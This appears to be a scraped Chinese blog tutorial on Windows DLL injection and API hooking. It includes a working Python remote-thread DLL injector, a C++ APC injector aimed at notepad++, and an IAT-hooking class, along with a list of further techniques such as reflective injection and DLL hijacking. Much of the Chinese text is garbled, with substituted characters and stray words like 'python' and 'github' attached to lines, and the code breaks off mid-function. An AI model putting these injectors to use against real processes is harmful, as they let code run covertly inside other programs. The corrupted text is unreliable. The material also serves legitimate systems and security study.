cataloguecss
1. 引言
2. 使用注册表注入DLL
3. 使用Windows挂钩来注入DLL
4. 使用远程线程来注入DLL
5. 使用木马DLL来注入DLL
6. 把DLL做为调试器来注入
7. 使用createprocess来注入代码
8. APC DLL注入
9. API Hook拦截
10. Detours - Inline Hook
11. 以服务形式执行DLL中指定函数/或直接指定EXE做为启动程序
12. 劫持现有Service的启动DLL
13. Reflective DLL injection In Memory
14. 经过系统指令rundll32.exe执行DLL中指定函数
15. DLL劫持 lpk.dll
16. Reflective DLL Injection with PowerShell
17. 修改exe文件自身导入表劫持dll
18. 利用regsvr32 /s /i:http:注册dll组件
19. windows SSDT hook - 内核态hook
20. windows IDT hook - 内核态hook
21. IAT hook - 用户态hookhtml
1. 引言python
应用程序须要跨越进程边界来访问另外一个进程的地址空间的状况以下linux
1. 咱们想要从另外一个进程建立的窗口派生子类窗口 2. 咱们须要一些手段来辅助调试,例如咱们须要肯定另外一个进程正在使用哪些DLL 3. 咱们想对另外一个进程安装Hook
咱们接下来要研究将一个DLL注入到另外一个进程的地址空间中,一旦DLL代码进入另外一个地址空间,那么咱们就能够在那个进程中实现安全防护逻辑。这里须要注意是的,DLL注入是一个一个前提条件,由于Windows的内存管理体系是不容许另外一个进程直接修改当前进程的API行为的,而WriteProcessMemory又只能修改小范围的跨进程内存地址,这种状况下,咱们要实现运行时中跨进程API Hook(有别于Linux LD_PRELOAD那种须要从新启动进程才能生效的全局Glibc库API劫持思路),就必须进行DLL注入git
0x1: Detect and Plug GDI Leaks in Your Code with Two Powerful Tools for Windows XPgithub
0x2: DLL(Dynamic Link Library)shell
1. 动态连接程序库,全称:Dynamic Link Library,简称DLL,做用在于为应用程序提供扩展功能。应用程序想要调用DLL文件,须要跟其进行"动态连接" 2. 从编程的角度,应用程序须要知道DLL文件导出的API函数方可调用。因而可知,DLL文件自己并不能够运行,须要应用程序调用 3. DLL文件运行时必须插入到应用程序的内存模块当中,若是正在运行的程序不关闭,则该DLL很难清除
0x3: API Hook Project编程
https://www.apriorit.com/dev-blog/160-apihooks https://github.com/williammortl/Prochook64 https://github.com/Zer0Mem0ry/APIHook
Relevant Link:windows
http://wotseb.bokee.com/6568089.html http://blog.naver.com/hypermin/70011196503
2. 使用注册表注入DLLapi
windows整个系统的配置都保存在这个注册表中,咱们能够经过调整其中的设置来改变系统的行为
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
1. AppInit_Dlls: 该键的值可能会包含一个DLL的文件名或一组DLL的文件名(经过空格或逗号分隔)(因为空格是用来分隔文件名的,因此咱们必须避免在文件名中包含空格)。第一个DLL的文件名能够包含路径,但其余DLL包含的路径则会被忽略,出于这个缘由,咱们最好是将本身的DLL放到windows的系统目录中,这样就没必要指定路径了 2. LoadAppInit_Dlls: 为了能让系统使用AppInit_Dlls这个注册表项,须要建立一个LoadAppInit_Dlls,类型为DWORD的注册表项,并将它的值设置为1
当User32.dll被映射到一个新的进程时,会收到DLL_PROCESS_ATTACH通知,当User32.dll对它进行处理的时候,会取得上述注册表键的值,并调用LoadLibary来载入这个字符串中指定的每一个DLL。当系统载入每一个DLL的时候,会调用它们的DllMain函数,并将参数fdwReason的值设置为DLL_PROCESS_ATTACH,这样每一个DLL都可以对本身进行初始化
0x1: 该方法的风险点
1. 因为被注入的DLL是在进程的生命周期的早期(Loader)被载入的,所以咱们在调用函数的时候应该谨慎,调用Kernel32.dll中的函数应该没有问题,可是调用其余DLL中的函数可能会致使失败,甚至可能会致使蓝屏 2. User32.dll不会检查每一个DLL的载入或初始化是否成功
0x2: 该方案的缺点
1. 咱们的DLL只会被映射到那些使用了User32.dll的进程中,全部基于GUI的应用程序都使用了User32.dll,但大多数基于CUI的应用程序都不会使用它。所以,若是想要将DLL注入到编译器或者连接器或者命令行程序,这种方法就不可行 2. 咱们的DLL会被映射到每一个基于GUI的应用程序中,但咱们可能只想把DLL注入到一个或少数几个应用程序中。咱们的DLL被映射到越多的进程中,它致使"容器"进程崩溃的可能性也就越大 3. 咱们注入的DLL会在应用程序终止以前,一直存在于进程的地址空间中,最好是只在须要的时候才注入咱们的DLL
3. 使用Windows挂钩来注入DLL
咱们能够用挂钩(SetWindowsHookEx)来将一个DLL注入到进程的地址空间中。注意,当系统把挂钩过滤函数(hook filter function)所在的DLL注入或映射到地址空间中时,会映射整个DLL,而不只仅只是挂钩过滤函数,这意味着该DLL内的全部函数存在于被注入的进程中,可以被被注入进程中的任何线程调用
0x1: 该方案的优缺点
1. 和利用注册表来注入DLL的方法相比,这种方法容许咱们在不须要该DLL的时候从进程的地址空间中撤销对它的映射,只须要调用UnhookWindowsHookEx就能够达到目的。当一个线程调用UnhookWindowsHookEx的时候,系统会遍历本身内部的一个已经注入过该DLL的进程列表,并将该DLL的锁计数器递减。当锁计数器减到0的时候,系统会自动从进程的地址空间中撤销对该DLL的映射 2. 系统为了防止内存访问违规,在被注入进程指定Hook函数的时候,会对注入DLL的锁计数器加1,由于若是不这么作,则被注入进程在执行Hook函数的时候,系统的另外一个进程可能会调用UnhookWindowsHookEx,从而引发内存访问违规 3. 全部这一切意味着咱们不能在调用了Hook函数,且函数还在运行时把挂钩清楚,在Hook函数执行的整个声明周期,这个挂钩必须一直有效
这种方式能够理解为借用了windows本身原生的机制来进行DLL注入
4. 使用远程线程来注入DLL
远程线程(remote thread)提供了最高的灵活性,从根本上来讲,DLL注入技术要求目标进程中的一个线程调用LoadLibrary来载入咱们本身的DLL。因为咱们不能轻易地控制别人进程中的线程,所以这种方法要求咱们在目标进程中建立一个新的线程
HANDLE WINAPI CreateRemoteThread( _In_ HANDLE hProcess, _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_ LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_ LPDWORD lpThreadId ); 1. hProcess: 表示新建立的线程归哪一个进程全部 A handle to the process in which the thread is to be created. The handle must have the PROCESS_CREATE_THREAD, PROCESS_QUERY_INFORMATION, PROCESS_VM_OPERATION, PROCESS_VM_WRITE, and PROCESS_VM_READ access rights, and may fail without these rights on certain platforms 2. lpStartAddress: 表明新建远程线程的入口函数地址 注意,这个函数地址应该在远程进程的地址空间中,而不是在咱们本身进程的地址空间。由于咱们只是在远程进程中新建了一个线程,咱们本身的DLL这个时候尚未被载入远程进程中,咱们这个时候是孤身深刻地方阵地的,没有携带任何武器,只能使用地方阵地上已有的东西制造登陆平台,来实现后续的DLL注入(即利用LoadLibrary)
这里须要注意的是,若是在调用CreateRemoteThread的时候直接引用LoadLibraryW,该引用会被解析为咱们模块的导入段中的LoadLibraryW转换函数的地址。若是把这个转换函数的地址做为远程线程的起始地址传入,其结果极可能是访问违规,为了强制让代码略过转换函数并直接调用LoadLibraryW函数,咱们必须经过调用GetProcAddress来获得LoadLibraryW的准确地址
对CreateRemoteThread的调用假定在本地进程(local process)和远程进程中,Kernel32.dll被映射到地址空间中的同一内存地址。每一个应用程序都须要Kernel32.dll,且每一个进程中都会将Kernel32.dll映射到同一个地址,即便这个地址在系统重启以后可能会改变,所以,咱们能够按照以下的方式来调用
PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")), "LoadLibrary"); HANDLE hThread = CreateRemoteThread(hProcessRemote, NULL, 0, pfnThreadRtn, L"C:\\Mylib.dll", 0, NULL);
可是这里还有一个问题,仍是内存地址空间隔离的问题,咱们传入的这个L"C:\\Mylib.dll"在编译时会被翻译为当前本地进程的内存地址,可是对于远程进程来讲,这个地址多是无效的,这可能致使访问违规,进而致使远程进程崩溃。为了解决这个问题,咱们须要把DLL的路径字符串存放到远程进程的地址空间去,而后在调用CreateRemoteThread传入
LPVOID WINAPI VirtualAllocEx( _In_ HANDLE hProcess, _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect ); 让咱们在远程进程中分配一块内存,一旦为字符串分配了一块内存,咱们还须要向这个内存块中写入字符串内容 BOOL WINAPI WriteProcessMemory( _In_ HANDLE hProcess, _In_ LPVOID lpBaseAddress, _In_ LPCVOID lpBuffer, _In_ SIZE_T nSize, _Out_ SIZE_T *lpNumberOfBytesWritten );
这里再一次说明,CreateRemoteThread里传入的全部信息,都必须是在远程进程中有效的地址,这就至关于咱们深刻敌阵以前已经探查好了地形,当深刻敌阵的那一瞬间,咱们是按照事先探查好的地形(对应于远程进程中的有效内存地址)来进行后续的行动(即LoadLibraryW)
梳理一下总的流程
1. 用VirtualAllocEx函数在远程进程的地址空间中分配一块内存 2. 用WriteProcessMemory函数把DLL的路径名字符串复制到第一步分配的内存中 3. 用GetProcAddress函数来获得LoadLibraryW函数(在Kernel32.dll)在远程进行中的实际地址 4. 用CreateRemoteThread函数在远程进程中建立一个线程,让新线程调用正确的LoadLibraryW函数并在参数中传入第一步分配的内存地址。这时,DLL已经被注入到远程进程的地址空间,DLL的DllMain函数会收到DLL_PROCESS_ATTACH通知而且能够执行咱们自定义的代码逻辑。当DllMain返回的时候,远程线程会从LoadLibraryW调用返回到BaseThreadStart函数。BaseThreadStart而后调用ExitThread,使远程线程终止 5. 如今远程进程中有一块内存,它是咱们在第一步分配的,DLL也还在远程进程的内存空间中,为了对它们进行清理,咱们须要在远程线程退出以后执行后续步骤 6. 用VirtualFreeEx来释放第一步分配的内存 7. 用GetProcAddress来获得FreeLibrary函数(在Kernel32.dll)中的实际地址 8. 用CreateRemoteThread函数在远程进程中建立一个线程,让该线程调用FreeLibrary函数并在参数中传入远程DLL的HMODULE
0x1: 方案风险点
1. CreateRemoteThread的第一个参数是远程进程的句柄HANDLE,咱们须要调用OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessId);,并请求合适的访问权限,方案兼容性可能就出在这个访问权限。若是OpenProcess返回NULL,那说明应用程序所在的安全上下文(security context)不容许它打开目标进程的句柄。一些进程是本地系统账号(local system account)运行的,例如WinLogon、SvcHost和Csrss,登陆的用户是没法对这些进程进行修改的
0x2: python-dll-injection
#!/usr/bin/python # Win32 DLL injector from Grey Hat Python # Minor formatting cleanups done... import sys from ctypes import * print "DLL Injector implementation in Python" print "Taken from Grey Hat Python" if (len(sys.argv) != 3): print "Usage: %s <PID> <Path To DLL>" %(sys.argv[0]) print "Eg: %s 1111 C:\\test\messagebox.dll" %(sys.argv[0]) sys.exit(0) PAGE_READWRITE = 0x04 PROCESS_ALL_ACCESS = ( 0x00F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = sys.argv[1] dll_path = sys.argv[2] dll_len = len(dll_path) # Get handle to process being injected... h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[!] Couldn't get handle to PID: %s" %(pid) print "[!] Are you sure %s is a valid PID?" %(pid) sys.exit(0) # Allocate space for DLL path arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE) # Write DLL path to allocated space written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written)) # Resolve LoadLibraryA Address h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA") # Now we createRemoteThread with entrypoiny set to LoadLibraryA and pointer to DLL path as param thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)): print "[!] Failed to inject DLL, exit..." sys.exit(0) print "[+] Remote Thread with ID 0x%08x created." %(thread_id.value)
须要明白的是,CreateRemoteThread+DLL注入只是让咱们有机会定向地让一个目标远程执行咱们自定义的代码逻辑。到了这一步还未完成API Hook,由于进程注入只有One Shoot一次机会,若是咱们但愿持久地控制目标进程的行为,就须要在注入的DLL的DllMain中实现API Hook的代码逻辑
Relevant Link:
https://github.com/infodox/python-dll-injection
5. 使用木马DLL来注入DLL
注入DLL的另外一种方式是,把咱们知道的进程必然会载入的一个DLL替换掉,咱们替换的DLL内部,咱们导出原来的DLL所导出的全部符号(保证调用方无感知)
0x1: 方案的风险点
1. 这种方法不能自动适应被替换DLL版本的变化
6. 把DLL做为调试器来注入
调试器能够在被调试进程中执行许多特殊的操做。系统载入一个被调试程序(debugger)的时候,会在被调试程序的地址空间准备完毕以后,但被调试程序的主线程还没有开始执行任何代码以前,自动通知调试器。这是,调试器能够强制将一些代码注入到被调试程序的地址空间中(例如使用writeprocessmemory),而后让被调试程序的主线程去执行这些代码。
这种方法要求咱们对被调试线程的context结果进行操做,这也意味着咱们必须编写与cpu有关的代码。在默认状况下,若是调试器终止,那么windows会自动终止被调试程序,可是,调试器能够经过debugsetprocesskillonexit并传入false来改变默认的行为
7. 使用createprocess来注入代码
若是要注入代码的进程是由咱们的进程生成的(spawn),那么,咱们的进程(父进程)能够在建立新进程的时候将它挂起。这种方法容许咱们改变子进程的状态,同时又不影响它的执行,由于它根本尚未开始执行。
父进程会获得子进程主线程的句柄,经过这个句柄,能够对线程执行的代码进行修改,因为咱们能够设置线程的指令指针,让它执行内存映射文件中的代码
1. 让进程生成一个被挂起的子进程 2. 从.exe模块的文件头中取得主线程的起始内存地址 3. 将位于该内存地址处的机器指令保存起来 4. 强制将一些手工编写的机器指令写入到该内存地址处,这些指令应该调用loadlibrary来载入一个dll 5. 让子进程的主线程恢复运行,从而让这些指令获得执行 6. 把保存起来的原始指令恢复到起始地址处 7. 让进程从起始地址继续执行,就好像什么都没有发生过同样
0x1: 方案优缺点
1. 首先,它在应用程序开始执行以前获得地址空间 2. 其次,因为咱们的应用程序不是调试器,所以咱们能够很是容易地对应用程序和注入的dll进行调试 3. 最后,这种方法适用于cui、gui程序 4. 可是这种方法也有缺点。只有当咱们的代码在父进程中的时候,咱们才能用这种方法来注入dll 5. 同时,这种方法还和cpu相关,咱们必须为不一样的cpu平台作相应的修改
8. APC DLL注入
0x1: 内核方式投递APC
异步过程调用(APC)是NT异步处理体系结构中的一个基础部分。Alertable IO(告警IO)提供了更有效的异步通知形式,当IO请求完成后,一旦线程进入可告警状态,回调函数将会执行,也就是一个APC的过程.
线程进入告警状态时,内核将会检查线程的APC队列,若是队列中有APC,将会按FIFO方式依次执行。若是队列为空,线程将会挂起等待事件对象。之后的某个时刻,一旦APC进入队列,线程将会被唤醒执行APC.
投递APC是一个线程动做,最终由系统调用KiDeliverApc完成。因此,咱们能够填充一个APC(KeInitializeapc,KeInsertQueueApc)插入到线程Alertable为TRUE的APC对列中。
任意一个DLL插入到进程执行的是用户空间代码,so,一定要使用LoadLibrayA加载才可访问用户地址空间。so这是个用户模式下的APC。用户模式能够传递(ULONG)LoadLibrayA地址,内核里就可以使用这个地址
0x2: 应用层方式插入APC
从流程上看QueueUserAPC直接转入了系统服务NtQueueApcThread从而利用KeInsertQueueApc向给出的目标线程的 APC队列插入一APC对象。假若KiDeliverApc顺利的去构造apc环境并执行咱们的代码那一切就OK了,可是没有那么顺利的事, ApcState中UserApcPending是否为TRUE有重要的影响,结果每每是等了好久代码仍是没获得执行。在核心态每每不成问题能够直接赋值可是用户态不行.
解决这个问题的方法有2个
1. 把全部线程全都QueueUserAPC。但这样作确实影响效率 2. 使用目标线程调用 SleepEx(.,TRUE),而后QueueUserAPC插入DLL
APC是异步过程调用,系统建立线程的时候会为线程建立一个APC队列,当线程调用SleepEx,WaitSingleObjectEx等函数时,并把线程状态被设置为可提醒状态时,线程并不会睡眠,而是检查APC队列是否为空,若是不为空,转去执行APC队列中的每一项,所以给目标进程中的线程插入APC,就能够实现进程注入
1. 第一步: 打开目标进程得到句柄 2. 第二步: 枚举目标进程里面的线程获得线程ID HANDLE WINAPI CreateToolhelp32Snapshot( _In_ DWORD dwFlags,//snapshot包涵的内容 _In_ DWORD th32ProcessID//进程ID ),用来建立一个枚举线程的快照。而后调用函数Thread32First和Thread32Next来循环枚举线程 BOOL WINAPI Thread32First( _In_ HANDLE hSnapshot,//快照句柄 _Inout_ LPTHREADENTRY32 lpte//保存相关信息的结构体 ) BOOL WINAPI Thread32Next( _In_ HANDLE hSnapshot, _Out_ LPTHREADENTRY32 lpte )。 3. 第三步: 打开线程获得线程句柄 HANDLE WINAPI OpenThread( _In_ DWORD dwDesiredAccess,//打开权限 _In_ BOOL bInheritHandle,//子进程是否继承该句柄 _In_ DWORD dwThreadId//线程ID ) 4. 第四步: 调用QueueUserAPC函数向枚举到的每个线程插入APC HANDLE WINAPI OpenThread( _In_ DWORD dwDesiredAccess,//打开权限 _In_ BOOL bInheritHandle,//子进程是否继承该句柄 _In_ DWORD dwThreadId//线程ID )
注入notepad++示例
// apc-inject.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <windows.h> #include <TlHelp32.h> #include <vector> using std::vector; bool FindProcess(PCWSTR exeName, DWORD& pid, vector<DWORD>& tids) { auto hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return false; pid = 0; PROCESSENTRY32 pe = { sizeof(pe) }; if (::Process32First(hSnapshot, &pe)) { do { if (_wcsicmp(pe.szExeFile, exeName) == 0) { pid = pe.th32ProcessID; THREADENTRY32 te = { sizeof(te) }; if (::Thread32First(hSnapshot, &te)) { do { if (te.th32OwnerProcessID == pid) { tids.push_back(te.th32ThreadID); } } while (::Thread32Next(hSnapshot, &te)); } break; } } while (::Process32Next(hSnapshot, &pe)); } ::CloseHandle(hSnapshot); return pid > 0 && !tids.empty(); } void main() { DWORD pid; vector<DWORD> tids; if (FindProcess(L"notepad++.exe", pid, tids)) { printf("OpenProcess\n"); HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid); printf("VirtualAllocEx\n"); auto p = ::VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); wchar_t buffer[] = L"c:\\test\\testDll.dll"; printf("WriteProcessMemory\n"); ::WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), nullptr); for (const auto& tid : tids) { printf("OpenThread\n"); HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid); if (hThread) { printf("GetProcAddress\n"); ::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"), hThread, (ULONG_PTR)p); } } printf("VirtualFreeEx\n"); ::VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT); } }
dll code
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, NULL, NULL, 0); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
Relevant Link:
http://gslab.qq.com/article-206-1.html http://www.pediy.com/kssd/pediy11/114648.html https://technet.microsoft.com/en-us/sysinternals/processexplorer.aspx https://github.com/3gstudent/Inject-dll-by-APC http://www.cnblogs.com/arsense/p/6427472.html http://www.programlife.net/apc-injection.html
9. API Hook拦截
0x1: 经过覆盖代码来拦截api(inline hook)
1. 在内存中对要拦截的函数(假设是Kernel32.dll中的ExitProcess)进行定位,从而获得它的的内存地址 2. 把这个函数起始的几个字节保存在咱们本身的内存中 3. 用CPU的一条JUMP指令来覆盖这个函数起始的几个字节,这条JUMP指令用来跳转到咱们的替代函数的内存地址。固然,咱们的替代函数的函数签名(参数)必须与要拦截的函数的函数签名彻底相同;1)全部的参数必须相同、2)返回值必须相同、3)调用约定也必须相同 4. 如今,当线程调用被拦截函数(hook function)的时候,跳转指令实际上会跳转到咱们的替代函数。这时,咱们就能够执行本身想要执行的任何代码 5. 为了撤销对函数的拦截,咱们必须把(第二步)保存下来的本身放回被拦截函数起始的几个字节中 6. 咱们调用被拦截函数(如今已经再也不对它进行拦截了),让该函数执行它的正常处理
须要注意的是,这种方法存在一些严重不足
1. 它对CPU有依赖性;x8六、x6四、IA-64以及其余CPU的JUMP指令各不相同,为了让这种方法可以工做,咱们必须手工编写机器指令 2. 这种方法在抢占式、多线程环境下没法工做。一个线程覆盖另外一个函数起始位置的代码是须要时间的,在这个过程当中,另外一个线程可能试图调用同一个函数,其结果多是灾难性的
0x2: 经过修改模块的导入段来拦截API
咱们知道,一个模块的导入段包含一组DLL,为了让模块可以运行,这些DLL是必须的。此外,导入段还包含一个符号表,其中列出了该模块从各DLL中导入的符号。当该模块调用另外一个导入函数的时候,线程实际上会先从模块的导入表中获得相应的导入函数的地址,而后再跳转到那个地址
所以,为了拦截一个特定的函数,咱们须要修改它在模块的导入段中的地址(定向针对某进程Hook)
须要注意的是,经过修改模块的导入段只能影响该模块自己(经常是该主进程)的调用行为,而不影响其余进程,同时,若是该模块地址空间中的DLL也不受影响,由于这些DLL有它们本身的导入段,它们并无被修改。若是想要捕获全部模块对执行函数的全部调用,必须对载入到地址空间中的每一个模块都进行导入段修改
1. ReplaceIATEntryInAllMods中遍历模块的框架
void CAPIHOOK::ReplaceIATEntryInAllMods(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, BOOL bExcludeAPIHookMod) { //取得当前模块句柄 HMODULE hModThis = NULL; if (bExcludeAPIHookMod) { MEMORY_BASIC_INFORMATION mbi; if (0 != ::VirtualQuery(ReplaceIATEntryInAllMods, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) //ReplaceIATEntryInAllMods必须为类的static函数 { hModThis = (HMODULE)mbi.AllocationBase; } } //取得本进程的模块列表 HANDLE hModuleSnap = INVALID_HANDLE_VALUE; MODULEENTRY32 me32; hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId()); if (INVALID_HANDLE_VALUE == hModuleSnap) { return; } me32.dwSize = sizeof( MODULEENTRY32 ); if( !Module32First( hModuleSnap, &me32 ) ) { return; } do { //对每个模块 if (me32.hModule != hModThis) { ReplaceIATEntryInOneMod(pszExportMod, pfnCurrent, pfnNewFunc, me32.hModule); } } while( Module32Next( hModuleSnap, &me32 ) ); ::CloseHandle(hModuleSnap); //配对写 }
2. 遍历链表摘除本身(恢复被Hook导入函数)的框架
CAPIHOOK::~CAPIHOOK(void) { //取消对函数的HOOK ReplaceIATEntryInAllMods(m_pszModName, m_pfnHook, m_pfnOrig, TRUE); //把本身从链表中删除 CAPIHOOK* p = sm_pHeader; if (p == this) { sm_pHeader = this->m_pNext; } else { while(p != NULL) { if (p->m_pNext == this) { p->m_pNext = this->m_pNext; break; } p = p->m_pNext; } } }
3. ReplaceIATEntryInOneMod
使用IAT Hook劫持技术,须要额外处理几个特殊的状况
1. 若是一个线程在咱们调用了ReplaceIATEntryInAllMods以后调用LoadLibrary来动态载入一个新的DLL,这种状况下,新载入的DLL并无被IAT替换。所以咱们须要拦截LoadLibraryA、LoadLibraryW、LoadLibraryExA、LoadLibraryExW函数,这样咱们就可以捕获这些调用,并为新载入的模块调用ReplaceIATEntryInAllMod。之因此要用All,是由于新载入的DLL可能有静态依赖其余DLL,这些静态依赖的DLL不会触发咱们的LoadLibrary..系列函数 2. 假如目标模块是哟个GetProcAddress动态调用函数,程序流也不会到IAT这里,所以咱们须要对GetProcAddress进行单独的Hook处理
.cpp
#include "APIHOOK.h" #include <Tlhelp32.h> CAPIHOOK *CAPIHOOK::sm_pHeader = NULL; CAPIHOOK CAPIHOOK::sm_LoadLibraryA("kernel32.dll", "LoadLibraryA", (PROC)CAPIHOOK::LoadLibraryA, TRUE); CAPIHOOK CAPIHOOK::sm_LoadLibraryW("kernel32.dll", "LoadLibraryW", (PROC)CAPIHOOK::LoadLibraryW, TRUE); CAPIHOOK CAPIHOOK::sm_LoadLibraryExA("kernel32.dll", "LoadLibraryExA", (PROC)CAPIHOOK::LoadLibraryExA, TRUE); CAPIHOOK CAPIHOOK::sm_LoadLibraryExW("kernel32.dll", "LoadLibraryExW", (PROC)CAPIHOOK::LoadLibraryExW, TRUE); CAPIHOOK CAPIHOOK::sm_GetProcAddress("kernel32.dll", "GetProcAddress", (PROC)CAPIHOOK::GetProcess, TRUE); CAPIHOOK::CAPIHOOK(LPTSTR lpszModName, LPSTR pszFuncName, PROC pfnHook, BOOL bExcludeAPIHookMod) { //初始化变量 m_pszModName = lpszModName; m_pszFuncName = pszFuncName; m_pfnOrig = ::GetProcAddress(::GetModuleHandleA(lpszModName), pszFuncName); m_pfnHook = pfnHook; //将此对象加入链表中 m_pNext = sm_pHeader; sm_pHeader = this; //在当前已加载的模块中HOOK这个函数 ReplaceIATEntryInAllMods(lpszModName, m_pfnOrig, m_pfnHook, bExcludeAPIHookMod); } CAPIHOOK::~CAPIHOOK(void) { //取消对函数的HOOK ReplaceIATEntryInAllMods(m_pszModName, m_pfnHook, m_pfnOrig, TRUE); //把本身从链表中删除 CAPIHOOK* p = sm_pHeader; if (p == this) { sm_pHeader = this->m_pNext; } else { while(p != NULL) { if (p->m_pNext == this) { p->m_pNext = this->m_pNext; break; } p = p->m_pNext; } } } //防止程序运行期间动态加载模块 void CAPIHOOK::HookNewlyLoadedModule(HMODULE hModule, DWORD dwFlags) { if (hModule!=NULL && (dwFlags&LOAD_LIBRARY_AS_DATAFILE)==0) { CAPIHOOK* p = sm_pHeader; //循环遍历链表,对每一个CAPIHOOK进入HOOK if (p != NULL) { ReplaceIATEntryInOneMod(p->m_pszModName, p->m_pfnOrig, p->m_pfnHook, hModule); p = p->m_pNext; } } } //防止程序运行期间动态调用API函数 FARPROC WINAPI CAPIHOOK::GetProcess(HMODULE hModule, PCSTR pszProcName) { //获得函数的真实地址 FARPROC pfn = ::GetProcAddress(hModule, pszProcName); //遍历列表 看是否是要HOOK的函数 CAPIHOOK* p = sm_pHeader; while(p != NULL) { if (p->m_pfnOrig == pfn) //是要HOOK的函数 { pfn = p->m_pfnHook; //HOOK掉 break; } p = p->m_pNext; } return pfn; } void CAPIHOOK::ReplaceIATEntryInOneMod(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, HMODULE hModCaller) { IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)hModCaller; IMAGE_OPTIONAL_HEADER* pOpNtHeader = (IMAGE_OPTIONAL_HEADER*)((BYTE*)hModCaller + pDosHeader->e_lfanew + 24); //这里加24 IMAGE_IMPORT_DESCRIPTOR* pImportDesc = (IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)hModCaller + pOpNtHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); BOOL bFindDll = FALSE; while (pImportDesc->FirstThunk) { char* pszDllName = (char*)((BYTE*)hModCaller + pImportDesc->Name); if (stricmp(pszDllName, pszExportMod) == 0)//若是找到pszExportMod模块,至关于hook messageboxa时的“user32.dll” { bFindDll = TRUE; break; } pImportDesc++; } if (bFindDll) { DWORD n = 0; //一个IMAGE_THUNK_DATA就是一个导入函数 IMAGE_THUNK_DATA* pThunk = (IMAGE_THUNK_DATA*)((BYTE*)hModCaller + pImportDesc->OriginalFirstThunk); while (pThunk->u1.Function) { //取得函数名称 char* pszFuncName = (char*)((BYTE*)hModCaller+pThunk->u1.AddressOfData+2); //函数名前面有两个.. //printf("function name:%-25s, ", pszFuncName); //取得函数地址 PDWORD lpAddr = (DWORD*)((BYTE*)hModCaller + pImportDesc->FirstThunk) + n; //从第一个函数的地址,之后每次+4字节 //printf("addrss:%X\n", lpAddr); //在这里是比较的函数地址 if (*lpAddr == (DWORD)pfnCurrent) //找到iat中的函数地址 { DWORD* lpNewProc = (DWORD*)pfnNewFunc; MEMORY_BASIC_INFORMATION mbi; DWORD dwOldProtect; //修改内存页的保护属性 ::VirtualQuery(lpAddr, &mbi, sizeof(MEMORY_BASIC_INFORMATION)); ::VirtualProtect(lpAddr, sizeof(DWORD), PAGE_READWRITE, &dwOldProtect); ::WriteProcessMemory(GetCurrentProcess(), lpAddr, &lpNewProc, sizeof(DWORD), NULL); ::VirtualProtect(lpAddr, sizeof(DWORD), dwOldProtect, NULL); return; } n++; //每次增长一个DWORD } } } void CAPIHOOK::ReplaceIATEntryInAllMods(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, BOOL bExcludeAPIHookMod) { //取得当前模块句柄 HMODULE hModThis = NULL; if (bExcludeAPIHookMod) { MEMORY_BASIC_INFORMATION mbi; if (0 != ::VirtualQuery(ReplaceIATEntryInAllMods, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) //ReplaceIATEntryInAllMods必须为类的static函数 { hModThis = (HMODULE)mbi.AllocationBase; } } //取得本进程的模块列表 HANDLE hModuleSnap = INVALID_HANDLE_VALUE; MODULEENTRY32 me32; hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId()); if (INVALID_HANDLE_VALUE == hModuleSnap) { return; } me32.dwSize = sizeof( MODULEENTRY32 ); if( !Module32First( hModuleSnap, &me32 ) ) { return; } do { //对每个模块 if (me32.hModule != hModThis) { ReplaceIATEntryInOneMod(pszExportMod, pfnCurrent, pfnNewFunc, me32.hModule); } } while( Module32Next( hModuleSnap, &me32 ) ); ::CloseHandle(hModuleSnap); //配对写 } //防止自动加载 HMODULE WINAPI CAPIHOOK::LoadLibraryA(LPCTSTR lpFileName) { HMODULE hModule = LoadLibraryA(lpFileName); HookNewlyLoadedModule(hModule, 0); //这个函数中忆检测hModule 了 return hModule; } HMODULE WINAPI 